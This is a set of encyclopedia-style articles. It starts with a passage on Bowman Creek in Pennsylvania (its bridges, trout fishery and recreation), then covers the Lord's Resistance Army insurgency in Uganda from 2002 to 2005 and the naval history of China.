A steel truss bridge carrying Church Drive crosses Bowman Creek southwest of Tunkhannock and is closed to traffic. A steel stringer/multi-beam or girder bridge carrying State Route 3002 was built over the creek in Noxen Township, Wyoming County in 1933. A steel truss bridge carrying Pennsylvania Route 29 across the creek was built in 1936 in Eaton Township, Wyoming County and was repaired in 1985 and a two-span steel girder and floorbeam system carrying the same road over the creek was built in 1937 in the same township. In 1975, a two-span prestressed box beam or girders bridge carrying State Route 2007 was constructed across in Eaton Township. This bridge was repaired in 2007. In 1992, a two-span steel stringer/multi-beam or girder bridge carrying Pennsylvania Route 29 was built across the creek in Monroe Township, Wyoming County. A prestressed box beam or girders bridge carrying State Route 3003 was built over Bowman Creek in 1994 in Eaton Township. In 1996, a bridge of a similar type was built over the creek in Monroe Township, carrying Pennsylvania Route 292. Yet another bridge of this type was constructed over the creek in 2004; this bridge is southwest of Noxen and carries T-310/Sorber Mountain Road. Another prestressed box beam or girders bridge, this one carrying Pennsylvania Route 29 was built over Bowman Creek in Monroe Township in 2006.
A watershed association known as the Bowman's Creek Watershed Association is active in the watershed of Bowman Creek. The Act 167 stormwater management plan for Bowman Creek was written in 2000. At that time, there were few measures for stormwater control in the creek's watershed. As of 2000, there are no flood control projects in the creek's watershed. At the time, there were no such projects planned for the next ten years.
Biology
The main stem of Bowman Creek is designated as a High-Quality Coldwater Fishery and a Migratory Fishery, as are most of its tributaries. However, the tributaries Cider Run and Sorber Run are Exceptional Value waters. Wild trout naturally reproduce in the creek from its headwaters downstream to its mouth. Various reaches of the creek have also been stocked with brook trout, brown trout, and rainbow trout. In 1919, a brown trout with a length of and a weight of more than was caught in the creek and a brown trout weighing nearly was caught on Bowman Creek in or before 1945.
In the 1800s, the Luzerne County Sportsmans' Association stocked thousands of California salmon in Bowman Creek. As of the early 1990s, Bowman Creek is only stocked as far upstream as a point upstream of Stull, on the Luzerne County/Wyoming County line. However, it is stocked as far downstream as the mouth, further downstream. The Pennsylvania Fish and Boat Commission stocks trout before the opening day of the fishing season, as well as twice during the fishing season. Trout are not stocked in the uppermost reaches of the creek, but fair numbers of wild trout occur there. Wild trout occur in relatively low numbers on the main stem, but are more common in its tributaries.
Upstream of Stull, brook trout are most common on Bowman Creek. From Stull to Noxen, brook trout and brown trout are equally common. Below Noxen, brown trout are predominant. Wild rainbow trout occur in the lower reaches, primarily due to natural reproduction and escapes from private hatcheries. The creek is one of the few streams in Pennsylvania that supports a wild rainbow trout population. Acid rain once adversely impacted the native brook trout population in the creek, but they have made a comeback.
Mayflies have been observed on Bowman Creek during the summer months. Ospreys are sometimes seen flying over the creek.
A feature known as the Bowman Creek Ledges is located along Bowman Creek in Eaton Township, Wyoming County. It is listed as a high-rank site on the Wyoming County Natural Areas Inventory. A northeastern hardwood forest with high levels of biodiversity occurs on the ledges. The canopy is dense and contains trees of varying ages. It mainly consists of beech, hemlock, sugar maple, and yellow birch. In the shrub layer, there is witch-hazel and striped maple. Numerous ferns and wildflowers also occur at the site, including Christmas fern, maidenhair fern, marginal wood fern, columbine, wild geranium, and wild ginger, as well as numerous other wildflower species.
Recreation
It is possible to canoe on of Bowman Creek during snowmelt and within four days of heavy rain. The difficulty rating of the creek ranges from 1 to 2. Edward Gertler describes the scenery along it as "fair to good" in his book Keystone Canoeing.
Catch and release fly fishing is the only form of fishing permitted on a stretch of Bowman Creek between Pennsylvania Route 292 and the tributary Marsh Creek. The creek is highly popular among anglers from the vicinity of Wilkes-Barre and Scranton.
Bowman Creek has been described as "one of northeastern Pennsylvania's top trout streams", "a fisherman's stream", and its trout have been described as "legendary in northeastern Pennsylvania". The creek has a substantial history of angling.
The upper reaches of Bowman Creek are in Ricketts Glen State Park. The creek also flows through Pennsylvania State Game Lands Number 57. A tract of land at the creek's headwaters is owned by the Pennsylvania Fish and Boat Commission. Legal hunting and trapping is permitted on Commission property unless otherwise posted. The road alongside the creek near its headwaters is a joint-use road, with car traffic, snowmobiles, and hikers permitted on it.
As of the time that the Wyoming County Natural Areas Inventory was published, there was a park in the vicinity of Bowman Creek and the Bowman Creek Ledges. According to the Wyoming County Natural Areas Inventory, this location is "very scenic". However, the ledges themselves only experience slight disturbances.
Gallery
See also
Jackson Creek (Susquehanna River), next tributary of the Susquehanna River going downriver
Tunkhannock Creek (Susquehanna River), next tributary of the Susquehanna River going upriver
List of rivers of Pennsylvania
List of tributaries of Bowman Creek
References
External links
Fly Fishing Bowman Creek Pennsylvania
Rivers of Pennsylvania
Tributaries of the Susquehanna River
Rivers of Luzerne County, Pennsylvania
Rivers of Wyoming County, Pennsylvania
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https://en.wikipedia.org/wiki/Lord%27s%20Resistance%20Army%20insurgency%20%282002%E2%80%932005%29
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Lord's Resistance Army insurgency (2002–2005)
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The period from 2000 to 2006 of the Lord's Resistance Army insurgency in northern Uganda begins with the assault of the Uganda People's Defence Force (UPDF) upon LRA strongholds in South Sudan. This in turn led to a series of retaliatory attacks by the Lord's Resistance Army of an intensity not seen to since the mid-1990s. International awareness of the conflict gradually grew and in September 2005, the International Criminal Court issues warrants for the arrest of senior LRA commanders, including Joseph Kony.
Operation Iron Fist
In March 2002, the UPDF launched a massive military offensive, named "Operation Iron Fist", against the LRA bases in southern Sudan. The National Islamic Front government agreed to the entry of the Ugandan military into its borders, albeit below the so-called "red line" consisting of the Juba-Torit highway. This was part of its efforts to broadcast its new status as an engaged member of the international community. This agreement, coupled with the return of Ugandan forces that had been deployed in the Democratic Republic of Congo upon the official end of the Second Congo War, created what the Ugandan government felt was an ideal situation in which to end a conflict that had become both an embarrassment and political liability.
This attempt at a heroic finish to the conflict failed in a spectacular manner. After several months of uncertainty, LRA forces began crossing back into Uganda and carrying out attacks on a scale and of a brutality not seen since 1995 to 1996. The LRA then began to move into areas outside of Acholiland, apparently in search of support. However, when the local populace began to resist, the LRA extended its combat operations. This resulted in widespread displacement and suffering in regions that had never previously been touched by the insurgency.
One of the initial counterattacks was against Achol-pi Refugee Settlement on August 5, 2002. Twenty Sudanese refugees were killed in the second major attack on the Achol-pi Refugee Settlement in central Pader District. The 24,000 Sudanese refugees were transferred to safer locations and the settlement disbanded.
Part of the failure of Operation Iron Fist is due to the large stockpile of supplies that the LRA had accumulated during the period that it was supported by the Sudanese government. However, the government also failed to destroy all of the LRA positions in Sudan, resulting in a fluid low-intensity conflict affecting a significant area of both southern Sudan and northern Uganda. There have also been reports that at least some elements in the Sudanese government are continuing to provide supplies to the LRA. This would negate predictions of its imminent destruction which are predicated on its supposed isolation.
The former head of the UPDF, Maj. Gen. James Kazini, estimated LRA strength at 1,500 in May 2002. UPDF spokesman Maj. Shaban Bantariza put the figure at 900 fighters in mid-2003. These numbers are not necessarily contradictory if the first number includes noncombatants such as abducted "wives" and children too young to handle weapons. However, Human Rights Watch in a July 2003 report put the figure at 4,500. The International Institute of Strategic Studies (IISS) in its 2002 to 2003 report said LRA has 1,500 fighters. IISS added, however, that only 200 of the LRA troops are inside Uganda, the rest are in Sudan.
Attempts at peace and militia creation (Early 2003)
In the spring of 2003, there were several unsuccessful diplomatic initiatives. Diplomatic efforts between the two sides historically failed because of an inability for the LRA to define an agenda and negotiate terms credibly. Meanwhile, the government has shown a predilection for abandoning diplomatic efforts in favor of military solutions. The government, remembering the simultaneous negotiations by the LRA with both Bigombe and Sudan in 1994, acted as if any LRA proposal was an attempt to achieve temporary military respite. Meanwhile, the LRA, on the basis of a number of occasions where units in a declared cease-fire zone were attacked, believed that the government was not credible. The UPDF declared that it had learned from past mistakes and was now certain to defeat the LRA. These proclamations had been made before, and many observers expressed scepticism.
The Ugandan army has struggled to defend many towns and villages from LRA attacks. The government fostered and armed militias against the LRA in the affected districts. Although these militias are variously called "Arrow Groups" and "Rhino Groups", the government apparently drew a lesson from the Arrow Group fiasco in the early 1990s and has armed these militias with assault rifles. Some observers fear that the introduction of more weapons in northern Uganda will create more problems in the longer term.
Involvement of international organizations
During a November 2003 field visit to Uganda, United Nations Undersecretary-General for Humanitarian Affairs and Emergency Relief Coordinator Jan Egeland stated, "I cannot find any other part of the world that is having an emergency on the scale of Uganda, that is getting such little international attention." This was followed, on 14 April 2004, by UN Security Council condemnation of the atrocities committed by the LRA, and expressions of concern about the plight of the displaced children.
In December 2003, Ugandan President Museveni referred the LRA to the International Criminal Court (ICC) to determine if the LRA is guilty of international war crimes. ICC Prosecutor Luis Moreno-Ocampo formally opened an investigation in January 2004. Some local Ugandan groups have criticized this move, as an ICC conviction of Joseph Kony and his senior lieutenants is seen to make a negotiated end to the conflict nearly impossible. In November 2004, President Museveni was reported to be exploring ways to withdraw the referral made to the ICC, which was seen as a complication to what appeared to be a significant movement towards a negotiated peace. The human rights group Amnesty International protested the move.
Late 2004 peace talks collapse (15 November to 31 December 2004)
On February 21, 2004, the LRA killed over 200 civilians in an IDP camp in Barlonyo, near Lira. This resulted in street protests and riots in Lira town on February 25, 2004 protesting the government's failure to adequately protect civilians. The riots caused at least nine deaths . The violence was partly motivated by animosity towards the Acholi, who many Langi collectively blame for the LRA insurgency.
From the middle of 2004 on, rebel activity dropped markedly under intense military pressure. There were reports of significant numbers of LRA rebels taking advantage of the government Amnesty Act. On 15 November 2004, the government declared a unilateral seven-day cease-fire subsequently extended. During the cease-fire substantial numbers of rebels gathered in government-designated zones to discuss a government proposal from August 2002.
In this proposal Museveni had offered to talk to the LRA, saying his government would under certain conditions halt operations against the LRA and open talks to end the conflict. These steps were taken after numerous LRA commanders contacted either the government or third parties and expressed a willingness to end the conflict. Senior LRA commander Brigadier Sam Kolo has stated that Joseph Kony has granted him the authority to negotiate on behalf of the rebels.
In mid-December 2004 a number of civilians were killed by bands of LRA operating near the Sudanese town of Juba. These rebels had purportedly lost contact with their chain of command under the ongoing government assault. Also, the Ugandan government reported that it had attacked a band led by Joseph Kony himself outside of the declared cease-fire zones. Sam Kolo stated that the continued government attacks make it difficult to establish a minimal basis of trust to progress with the peace talks. On 31 December 2004, the extended 47-day truce expired without an agreement.
Negotiations amidst ongoing conflict (1 January 2005 to 3 February)
On 1 January 2005, rebels recommenced hostilities in Alero, Gulu. President Museveni declared that military "operations will not cease ever again until the Kony group irreversibly commit themselves to come out of the bush" and that "the combination of both the military option and dialogue will bring peace in northern Uganda." On 19 January, the humanitarian organization Médecins Sans Frontières listed the conflict in northern Uganda as one of the "Top Ten" most underreported humanitarian stories of 2004.
The signing of a peace deal ending the Second Sudanese Civil War between the government and the Sudan People's Liberation Army prompted speculation that a more stable Sudan would help end the LRA insurgency. In late January, SPLA leader John Garang pledged that he would not allow the LRA to operate in the south once he gained formal control of the region While Garang died in a helicopter crash several months later, this did not appear to shake the close cooperation between the SPLA and Uganda.
Throughout January 2005, talks mediated by Betty Bigombe continued in Gulu. LRA commanders Vincent Otti and Sam Kolo participated on behalf of Joseph Kony. However, the exact negotiating position of Kony remains uncertain. A senior analyst of the International Crisis Group stated, "He likens himself to Moses, and like Moses he doesn't believe he'll make it to the Promised Land, which provides a very dangerous ambiguity to whether he will ever let himself personally be part of the peace process."
A series of fires ravaged several congested IDP camps in January 2006. A fire in Agweng camp in northern Lira District, with 26,000 residents, killed six and left ten thousand homeless on 21 January. The next day 278 homes were burnt down in Apac District's Aboke camp. On Sunday, 23 January a fire at Acet camp in Gulu District affected six of seven zones, killing three and burning 4,000 huts, leaving 20,000 homeless.
Another cease-fire and ICC announcement (February to September 2005)
On 3 February 2005, President Museveni announced an 18-day cease-fire, backing away from previous commitments to sustain military operations until the LRA committed to withdraw from the bush. Minister of Internal Affairs Ruhakana Rugunda commented that "the declaration of the 18-day cease-fire is a clear indication that the President or the government is committed to ending this 18-year-old war peacefully." Chief mediator Betty Bigombe stated on 7 February, "The cease-fire is absolutely holding and the peace process is now on course." However, the peace process was weakened after Sam Kolo, the LRA's chief negotiator, surrendered to the government in mid-February.
A U.S. State Department draft report released on 3 February stated that up to 12,000 people had been killed by rebel violence and 20,000 children had been abducted over the course of the war. This was the first attempt to quantify the casualties from the LRA conflict, but did not include deaths from conflict-related malnutrition and disease. The spokesperson for the Ugandan military expressed doubt about the accuracy of the estimate: "They are simply giving a probing figure. They do not have accurate information. They want to cause us to come out and dispute them which we may not do." The government also admitted for the first time that it was recruiting former abductees and returning them to the battlefield. The army stated that around 800 former abductees have been recruited, hundreds of whom are believed to be below 18 years of age.
In February 2005, the International Criminal Court announced that 12 arrest warrants were to be issued for LRA war crimes suspects, the first such warrants since the ICC was established in July 2002. The ICC chief prosecutor, Luis Moreno Ocampo, said the court intends to start its first war crimes trial in Uganda by July 2005. "During the coming year, there will be warrants," ICC spokesperson Christian Palme commented, "the prosecutor is looking at a very small group of LRA top leaders." Palme did not rule out possible prosecution of members of the Uganda People's Defence Forces in relation to their conflicts with the LRA, but stated, "LRA crimes are far more serious than the crimes of UPDF".
Following a visit to meet local leaders in northern Uganda, Ocampo stated that he might be able to delay issuing warrants in deference to the ongoing negotiations. Bigombe said that she would abandon mediation of the peace process if the ICC prosecution continued. During the first half of March, the LRA carried out six reported attacks in which 12 civilians were reported dead and about 50 were abducted, often in response to government proclamations that the rebels were nearly or completely defeated. The Ugandan government continued to maintain contact with the rebels, including Joseph Kony himself.
The government has been the target of increasingly pointed criticism from the international community for its failure to end the conflict. International aid agencies have questioned the Ugandan government's reliance on military force and its commitment to a peaceful resolution. "The military strategy employed by the Government of Uganda is not protecting its civilians," said Emma Naylor, Oxfam's Country Program Manager Officer in Uganda. "Instead we are seeing increased suffering and numbers of civilian casualties. We need a renewal of commitment from all sides to finding a peaceful solution to this conflict."
Some observers have accused the government of Yoweri Museveni of abandoning the north. Adams Aloo of the University of Nairobi has commented that "Since the north was proving to be quite difficult to control, [Museveni] did decide that he could lead the country without necessarily controlling the north ... To that extent, he has moved as if the north doesn't really matter, whether he brings it under control or not, that Uganda continues to move on, that the international community seems to be impressed with the pace of development."
In May 2005, the World Food Programme reported that 1.4 million people displaced by the conflict were facing severe food shortages. The ongoing insecurity prevented the IDPs from tilling and planting farm land, as well as making it difficult for relief organizations to reach persons in need. WFP warned that the predicted malnutrition would cause death rates to rise.
LRA in the Democratic Republic of the Congo
Forty LRA rebels led by Vincent Otti crossed the White Nile on 14 September 2005 for the first time and burned houses near Juba, the capital of Southern Sudan, along the road to Yei. Since the rioting that followed the death of John Garang, Juba was almost entirely reliant on food shipped by road by Yei. The band continued travelling west and crossed into the Orientale Province of the Democratic Republic of the Congo (DRC) at Garamba National Park. At least two other bands, one of which was supposedly led by Kony, were reported to be moving westward from the historic stronghold of the LRA in northcentral Uganda and southeastern Sudan.
This was the first LRA movement into the DRC. The UPDF stated that they had achieved control of northern Uganda and that their military efforts were being frustrated by the refusal of the transitional Sudanese government to grant permission to cross the Juba-Torit "Red Line". Lieutenant General Aronda Nyakairima stated that "Kony's death was in sight had we got permission to follow him past the red line. He is now fleeing for his life just like Lakwena did." These claims came at the same time that Human Rights Watch called for the ICC to investigate the UPDF for war crimes in northern Uganda.
Representatives of the United Nations and the Congolese national army met with a band of LRA thought to be under the command of Vincent Otti in northeastern DRC on 25 September 2005. There was some surprise that this, the first meeting between the UN and LRA, was easy to arrange. General Paderi of the DRC army told the LRA that they needed to disarm as a prerequisite to future talks. Four days later, President Museveni declared that, if Congolese authorities did not disarm the LRA combatants, the UPDF would be sent across the border in pursuit. This sparked a diplomatic row between the governments of the DRC and Uganda, with both militaries making a show of force along their border, while the Congolese ambassador to the United Nations sent a letter to the UN Secretary-General demanding that an economic embargo be placed on Uganda in retaliation.
The Armed Forces of the Democratic Republic of the Congo (FARDC) planned to deploy 2800 troops to the area.
Notes and references
External links
International Center for Transitional Justice, Uganda
Crisis briefing on the LRA and violence in Uganda from Reuters AlertNet
Lord's Resistance Army
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Naval history of China
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The naval history of China dates back thousands of years, with archives existing since the late Spring and Autumn period regarding the Chinese navy and the various ship types employed in wars. The Ming dynasty of China was the leading global maritime power between 1400 and 1433, when Chinese shipbuilders built massive ocean-going junks and the Chinese imperial court launched seven maritime voyages. In modern times, the current People's Republic of China and the Republic of China governments continue to maintain standing navies through the People's Liberation Army Navy and the Republic of China Navy, respectively.
History
Early coastal maritime endeavours
The Han dynasty established the first independent naval force in China, the Tower Ship Navy.
Although naval battles took place before the 12th century, such as the large-scale Three Kingdoms Battle of Chibi in the year 208, it was during the Song Dynasty (960–1279) that the Chinese established a permanent, standing navy in 1132. At its height by the late 12th century there were 20 squadrons of some 52,000 marines, with the admiral's headquarters at Dinghai, while the main base remained closer to modern Shanghai. The establishment of the permanent navy by the Southern Song Dynasty came out of the need to defend against the Jin dynasty, who had overrun the northern China, and to escort merchant fleets entering the Southeast Pacific and Indian Ocean on long trade missions abroad to the Hindu, Islamic, and East African spheres of the world. However, considering various Central Plain polities were for a long time menaced by land-based nomadic tribes such as the Xiongnu, Göktürks, Khitans and Mongols, the navy was seen as an adjunct rather than an important military force. By the 1516th centuries China's canal system and internal economy were sufficiently developed to nullify the need for the Pacific fleet, which was scuttled when conservative Confucianists gained power in the court and began a policy of introspection. After the First and Second Opium Wars, which shook up the generals of the Qing dynasty, the government attached greater importance to the navy.
When the British Royal Navy encountered the Chinese during the First Opium War, their officers noted the appearance of paddle-wheel boats among the Chinese fleet, which they took to be copies of a Western design. They also discovered a nearly-complete 30-gun man-of-war in Xiamen, along with new paddle-boats and brass guns under construction in Wusong and Shanghai. Paddle-wheel boats were actually developed by the Chinese independently in the 5th–6th centuries, only a century after their first surviving mention in Roman sources (see Paddle steamer), though that method of propulsion had been abandoned for many centuries and only recently reintroduced before the war. Numerous other innovations were present in Chinese vessels during the Middle Ages that had not yet been adopted by the Western and Islamic worlds, some of which were documented by Marco Polo but were not adopted by other navies until the 18th century, when the British successfully incorporated them into ship designs. For example, medieval Chinese hulls were split into bulkhead sections so that a hull rupture only flooded a fraction of the ship and did not necessarily sink it (see Ship floodability). This was described in the book of the Song Dynasty maritime author Zhu Yu, the Pingzhou Table Talks of 1119 AD. Along with the innovations described in Zhu's book, there were many other improvements to nautical technology in the medieval Song period. These included crossbeams bracing the ribs of ships to strengthen them, rudders that could be raised or lowered to allow ships to travel in a wider range of water depths, and the teeth of anchors arranged circularly instead of in one direction, "making them more reliable". Junks also had their sails staggered by wooden poles so that the crew could raise and lower them with ropes from the deck, like window blinds, without having to climb around and tie or untie various ropes every time the ship needed to turn or adjust speed.
A significant naval battle was the Battle of Lake Poyang from August 30 to October 4 of the year 1363 AD during the Red Turban Rebellion, a battle which cemented the success of Zhu Yuanzhang in founding the Ming Dynasty.
Ming expeditions and decline
After the period of maritime activity during the treasure voyages under the Yongle Emperor, the official policy towards naval expansion swayed between active restriction to ambivalence.
Despite Ming ambivalence towards naval affairs, the Chinese treasure fleet was still able to dominate other Asian navies, which enabled the Ming to send governors to rule in Luzon and Palembang as well as depose and enthrone puppet rulers in Sri Lanka and the Bataks.
However, the Chinese fleet shrank tremendously after its military/tributary/exploratory functions in the early 15th century were deemed too expensive and it became primarily a police force on routes like the Grand Canal. Ships like the juggernauts of Zheng He's "treasure fleet," which dwarfed the largest Portuguese ships of the era by several times, were discontinued, and the junk became the predominant Chinese vessel until the country's relatively recent (in terms of Chinese sailing history) naval revival
In 1521, at the Battle of Tunmen a squadron of Ming naval junks defeated a Portuguese caravel fleet, which was followed by another Ming victory against a Portuguese fleet at the Battle of Xicaowan in 1522. In 1633, a Ming navy defeated a Dutch and Chinese pirate fleet during the Battle of Liaoluo Bay. A large number of military treatises, including extensive discussions of naval warfare, were written during the Ming period, including the Wubei Zhi and Jixiao Xinshu. Additionally, shipwrecks have been excavated in the South China Sea, including wrecks of Chinese trade and war ships that sank around 1377 and 1645.
The continuing "sea ban" policy during the early Qing dynasty meant that the development of naval power stagnated. River and coastal naval defence was the responsibility of the waterborne units of the Green Standard Army, which were based at Jingkou (now Zhenjiang) and Hangzhou.
In 1661, a naval unit was established at Jilin to defend against Russian incursions into Manchuria. Naval units were also added to various Banner garrisons subsequently, referred to collectively as the "Eight Banners Navy". In 1677, the Qing court re-established the Fujian Fleet in order to combat the Ming-loyalist Kingdom of Tungning based on Taiwan. This conflict culminated in the Qing victory the Battle of Penghu in 1683 and the surrender of the Tungning shortly after the battle. The Second Opium War showed the complete futility of the pre-modern Chinese fleet when facing modern European navies, when 300 Chinese naval junks, armed with British-made guns, did almost no damage to 56 British and French ironclads.
In the 1860s, an attempt to establish a modern navy via the British-built Osborn or "Vampire" Fleet to combat the Taiping rebels' US-built gunboats. The so-called "Vampire Fleet" fitted out by the Chinese government for the suppression of piracy on the coast of China, owing to the non-fulfilment of the condition that British commander Sherard Osborn should receive orders from the imperial government only, was scrapped.
Imperial Chinese Navy
There were four fleets of the Imperial Chinese Navy:
Beiyang Fleet - North Sea Fleet based from Weihaiwei
Nanyang Fleet - South Sea Fleet based from Shanghai
Guangdong Fleet - based from Canton (now Guangzhou)
Fujian Fleet - based from Fuzhou, founded in 1678 as the Fujian Marine Fleet
In 1865, the Jiangnan Shipyard was established.
In 1874, a Japanese incursion into Taiwan exposed the vulnerability of China at sea. A proposal was made to establish three modern coastal fleets: the Northern Sea or Beiyang Fleet, to defend the Yellow Sea, the Southern Sea or Nanyang Fleet, to defend the East China Sea, and the Canton Sea or Yueyang Fleet, to defend the Taiwan Strait and the South China Sea. The Beiyang Fleet, with a remit to defend the section of coastline closest to the capital Beijing, was prioritised.
A series of warships were ordered from Britain and Germany in the late 1870s, and naval bases were built at Port Arthur and Weihaiwei. The first British-built ships were delivered in 1881, and the Beiyang Fleet was formally established in 1888. Many children of Chinese military families were sent abroad to study in the United States in order to modernize the Imperial Chinese Navy, although they were denied admission to the military academies of West Point and Annapolis and had to switch to other countries after the passage of the Chinese Exclusion Act. In 1894 the Beiyang Fleet was on paper the strongest navy in Asia at the time. However, it was largely lost during the First Sino-Japanese War after the Battle of the Yalu River. This battle allowed the Imperial Japanese Army to invade China, occupy the Shandong Peninsula, and use the fortress at Weihaiwei to shell the Chinese fleet. Although the modern battleships Zhenyuan and Dingyuan were impervious to Japanese fire, they were unable to sink a single ship and all eight cruisers were lost. The battle displayed once again that the modernisation efforts of China were far inferior to the Meiji Restoration.
The Nanyang Fleet was also established in 1875, and grew with mostly domestically built warships and a small number of acquisitions from Britain and Germany. It fought in the Sino-French War, performing somewhat poorly against the French in all engagements and resulting in allowing the French colonization of Southeast Asia. The defeat of the Nanyang Fleet also emboldened the British to complete their annexation of Burma in the Third Anglo-Burmese War.
The separate Fujian and Guangdong fleets became part of the Imperial navy after 1875. The Fujian Fleet was almost annihilated during the Sino-French War, and was only able to acquire two new ships thereafter. By 1891, due to budget cuts, the Fujian Fleet was barely a viable fleet. Due to corruption much of the funds needed by the navy was taken by the Dowager Empress Cixi to renovate the Summer Palace and build her Marble Boat. The Guangdong Fleet was established in the late 1860s and based at Whampoa, in Canton (now Guangzhou). Ships from the Guangdong Fleet toured the South China Sea in 1909 as a demonstration of Chinese control over the sea.
After the First Sino-Japanese War, Zhang Zhidong established a river-based fleet in Hubei.
In 1909, the remnants of the Beiyang, Nanyang, Guangdong and Fujian Fleets, together with the Hubei fleet, were merged, and re-organised as the Sea Fleet and the River Fleet.
In 1911, Sa Zhenbing became the Minister of Navy of the Great Qing.
One of the new ships delivered after the war with Japan, the cruiser Hai Chi, in 1911 became the first vessel flying the Yellow Dragon Flag to arrive in American waters, visiting New York City as part of a tour.
Modern
The Republic of China Navy is the navy of the Republic of China, which was established after the overthrow of the Qing dynasty. Liu Guanxiong, a former Qing dynasty admiral, became the first Minister of Navy of the Republic of China. During the Warlord Era that scarred China in the 1920s and 1930s the ROCN remained loyal to the Kuomintang government of Sun Yat-sen instead of the Beiyang government in Beijing which fell to the Nationalist government in the 1928 Northern Expedition and between the civil war with the Communist Party and 1937 Japanese invasion of Northeast China. During that time and throughout World War II, the ROCN concentrated mainly on riverine warfare as the poorly equipped ROCN was not a match to Imperial Japanese Navy over ocean or coast. The ROCN is currently the naval forces on the island of Taiwan.
The People's Liberation Army Navy was established in 1950 for the People's Republic of China. The PLAN can trace its lineage to naval units fighting during the Chinese Civil War and was established in September 1950. The PLAN was initially dedicated to coastal defense, defending against commando raids on the Fujian coast from Taiwan. It also played a role in the First and Second Taiwan Strait Crises.
Throughout the 1950s and early 1960s, the Soviet Union provided assistance to the PLAN in the form of naval advisers and export of equipment and technology. This assistance ended after the Sino-Soviet split. Until the late 1980s, the PLAN remained largely a riverine and littoral force (brown-water navy). However, by the 1990s, following the fall of the Soviet Union and a shift towards a more forward-oriented foreign and security policy, the leaders of the Chinese military were freed from worrying over land border disputes, and instead turned their attention towards the seas. This led to the development of the People's Liberation Army Navy into a green-water navy by 2009. Before the 1990s the PLAN had traditionally played a subordinate role to the People's Liberation Army Ground Force.
In 2020 the PLAN surpassed the U.S. Navy as the largest navy in the world in numbers of ships, although the U.S. Navy continued to have technological advantages. This development occurred amid increasing tensions between China and the United States and as China was becoming involved in territorial disputes in the South China Sea.
Literature
Early literature
One of the oldest known Chinese books written on naval matters was the Yuejueshu (Lost Records of the State of Yue) of 52 AD, attributed to the Han Dynasty scholar Yuan Kang. Many passages of Yuan Kang's book were rewritten and published in Li Fang's Imperial Reader of the Taiping Era, compiled in AD 983. The preserved written passages of Yuan Kang's book were again featured in the Yuanjian Leihan (Mirror of the Infinite, a Classified Treasure Chest) encyclopedia, edited and compiled by Zhang Ying in 1701 during the Qing Dynasty.
Yuan Kang's book listed various water crafts that were used for war, including one that was used primarily for ramming like Greco-Roman triremes. These "classes" of ships were the great wing (da yi), the little wing (xiao yi), the stomach striker (tu wei), the castle ship (lou chuan), and the bridge ship (qiao chuan). These were listed in the Yuejueshu as a written dialogue between King Helü of Wu (r. 514 BC–496 BC) and Wu Zixu (526 BC–484 BC). The Wu Kingdom's Navy is regarded as the origin of the first Chinese Navy which consisted of different ships for specific purposes. Wu Zixu stated:
Nowadays in training naval forces we use the tactics of land forces for the best effect. Thus great wing ships correspond to the army's heavy chariots, little wing ships to light chariots, stomach strikers to battering rams, castle ships to mobile assault towers, and bridge ships to light cavalry.
Ramming vessels were also attested to in other Chinese documents, including the Shi Ming dictionary of c. 100 AD written by Liu Xi. The Chinese also used a large iron t-shaped hook connected to a spar to pin retreating ships down, as described in the Mozi book compiled in the 4th century BC. This was discussed in a dialogue between Mozi and Lu Ban in 445 BC (when Lu traveled to the State of Chu from the State of Lu), as the hook-and-spar technique made standard on all Chu warships was given as the reason why the Yue navy lost in battle to Chu.
The rebellion of Gongsun Shu in Sichuan province against the re-established Han Dynasty during the year 33 AD was recorded in the Book of Later Han, compiled by Fan Ye in the 5th century. Gongsun sent a naval force of some twenty to thirty thousand soldiers down the Yangtze River to attack the position of the Han commander Cen Peng. After Cen Peng defeated several of Gongsun's officers, Gongsun had a long floating pontoon bridge constructed across the Yangtze with fortified posts on it, protected further by a boom, as well as erecting forts on the river bank to provide further missile fire at another angle. Cen Peng was unable to break through this barrier and barrage of missile fire, until he equipped his navy with castle ships, rowed assault vessels, and 'colliding swoopers' used for ramming in a fleet of several thousand vessels and quelled Gongsun's rebellion.
The 'castle ship' design described by Yuan Kang saw continued use in Chinese naval battles after the Han period. Confronting the navy of the Chen Dynasty on the Yangtze River, Emperor Wen of Sui (r. 581–604) employed an enormous naval force of thousands of ships and 518,000 soldiers stationed along the Yangtze (from Sichuan to the Pacific Ocean). The largest of these ships had five layered decks, could hold 800 passengers, and each ship was fitted with six 50 ft. long booms that were used to swing and damage enemy ships, along with the ability of pinning them down.
Vessels of the Tang dynasty
During the Chinese Tang dynasty (618–907 AD) there were some famous naval engagements, such as the Tang-Silla victory over the Korean kingdom of Baekje and Yamato Japanese forces in the Battle of Baekgang in 663. Tang Dynasty literature on naval warfare and ship design became more nuanced and complex. In his Taipai Yinjing (Canon of the White and Gloomy Planet of War) of 759 AD, Li Quan gave descriptions for several types of naval ships in his day (note: multiple-deck castle ships are referred to as tower ships below). Not represented here are the paddle-wheel crafts innovated by the Tang Prince Li Gao more than a decade later in 784 AD. Paddle-wheel craft would continue to hold an important place in the Chinese navy. Along with gunpowder bombs, paddle-wheel craft were a significant reason for the success in the later Song Dynasty naval victory of the Battle of Caishi in the year 1161 AD during the Jin–Song wars.
Covered swoopers
Combat junks
Flying barques
Patrol boats
Sea hawks
Ships from the Wujing Zongyao
Naval endeavours by era
Spring and Autumn Period
Wars between Wu and Qi
Warring States
Wars between Yue and Chu
Qin dynasty
Xu Fu
Tu Sui (屠睢) Conquered Baiyue
Han dynasty
111 BCE, the delegates of Emperor Wu of Han explored Southeast Asia and India from the Gulf of Tonkin to make contact with central Asia states, the Silk Road of the Sea.
Rebellion of Gongsun Shu
Battle of Jiangxia
Battle of Red Cliffs
Battle of Ruxu (217)
Three Kingdoms
Battle of Dongkou
Battle of Jiangling (223)
Battle of Ruxu (222–223)
Sui dynasty
Goguryeo-Sui Wars
Tang dynasty
Battle of Baekgang
Song dynasty
Battle of Caishi
Battle of Tangdao
Battle of Xiangyang
Battle of Yamen
Yuan dynasty
Third Battle of Bạch Đằng
First Battle of Hakata Bay
Battle of Kōan
Java Expedition
Ming dynasty
Battle of Lake Poyang
Ming treasure voyages led by Zheng He
Wokou
Jiajing wokou raids
Imjin War
Battle of Noryang
First Battle of Tamao
Second Battle of Tamao
Battle of Penghu (1624)
Battle of Liaoluo Bay
Siege of Fort Zeelandia
Qing dynasty
The Qing established a sea defence force of 7 fleets across 4 sea zones. Due to rebellions in the late 18th century the navy was neglected and declined, ultimately suffering defeat in the opium wars.
The modern Imperial Chinese Navy was established in 1875, prompted by a Japanese incursion into Taiwan that exposed the vulnerability of the existing, pre-modern Chinese navy. Numerous modern ships equipped with Krupp guns, electricity, gatling guns, torpedoes, and other modern weapons were acquired by the Qing dynasty from western powers. They were manned by western trained Chinese officers.
Zheng Chengong
Battle of Penghu
Beiyang Fleet
